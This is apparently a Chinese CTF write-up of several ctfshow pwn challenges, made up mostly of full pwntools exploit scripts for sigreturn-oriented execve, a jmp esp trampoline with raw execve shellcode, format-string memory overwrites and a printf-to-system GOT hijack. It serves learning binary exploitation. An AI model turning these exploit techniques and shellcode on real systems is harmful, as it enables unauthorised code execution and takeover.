利用pwntools生成一个空的、标准格式的x64架构信号帧,不用计算哪个字节对应哪个寄存器,直接赋值就行

1
frame = SigreturnFrame()

最终目的是要调用 execve("/bin/sh", 0, 0)

在行x64的调用规则是:

RAX = 系统调用号

RDI = 第 1 个参数

RSI = 第 2 个参数

RDX = 第 3 个参数

RIP = 下一条指令地址

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

p = process('/home/sirius/CTF/pwn (40)')
# p = remote('pwn.challenge.ctf.show',28144)
elf = ELF('/home/sirius/CTF/pwn (40)')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

binsh_offset = 0x100
frame = SigreturnFrame()
#设置系统调用号为59(execve)
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + 0x100
frame.rsi = 0
frame.rdx = 0
#所有寄存器准备好了,将rip指向程序里面原来就有的syscall
# 效果:寄存器刚恢复完 -> 马上执行 syscall -> 触发 execve -> Get Shell。
frame.rip = elf.symbols['syscall']

payload = bytes(frame).ljust(0x100,b'a') + b'/bin/sh\x00'
ru('Welcome to CTFshowPWN!\n')

sd(payload)
inter()

87–堆栈内跳转(jmp esp跳板)

查保护,NX提示unknown,还是尝试一下shellcode注入

image-20251217150359114

输入一次,不能ret2想到跳板

image-20251217150457609

32位21字节shllcode不可见字符版本:

1
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/CTF/pwn (40)')
p = remote('pwn.challenge.ctf.show',28266)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

ru("What's your name?\n")
shell = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
jmp_esp = 0x08048d17
sub_esp = asm("sub esp,0x28;jmp esp")
pay = flat(
shell, #21
b'a'*15, #15
jmp_esp,
sub_esp
)
sd(pay)

inter()

91–格式化字符串改数据

将输入的内容打印了出来,存在格式化字符串风险

image-20251217155845102

篡改daniu上数据为6就能提权

image-20251217155925346

这里发现还存在bss段中

image-20251217155953320

调试一下,断点下在printf,随后输入aaaa

printf起始地址是0xffffca40,0xffffca44存的是输入的起始地址也就是0xffffca5c

偏移量 = (0xffffca5c-0xffffca40)/4 = 7

image-20251217155836002

这个方法也能看出偏移量

image-20251217160543079

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/CTF/pwn (40)')
p = remote('pwn.challenge.ctf.show',28295)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

daniu = 0x804B038
pay = p32(daniu) + b"%2c%7$n" #%2c占两个字节加上前面地址是4个,就将6写进了偏移量为7的地方然后解析
sd(pay)
inter()

或者用pwntools的工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 目标地址:daniu 的地址
daniu_addr = 0x804B038
# 目标值:我们要写入 6
target_value = 6
# 偏移量:你算出来的 7
offset = 7

# 使用 fmtstr_payload 自动生成 payload
# 参数1: offset (偏移量)
# 参数2: {地址: 值} 的字典
# 参数3: write_size='byte' (按字节写入,对应 %hhn)
pay = fmtstr_payload(offset, {daniu_addr: target_value}, write_size='byte')

sd(pay)
inter()

94–GOT表劫持

有system函数但是这里没调用

将printf函数的got地址换成system地址

这样再发送/bin/sh

本应该是printf(“/bin/sh”),现在变成了system(“/bin/sh”)

image-20251217174442496

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/CTF/pwn (40)')
p = remote('pwn.challenge.ctf.show',28114)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

printf_got = elf.got["printf"]
system_plt = elf.plt["system"]
offset = 6

pay = fmtstr_payload(offset, {printf_got: system_plt}, write_size='byte')

sl(pay)
sd("/bin/sh")
inter()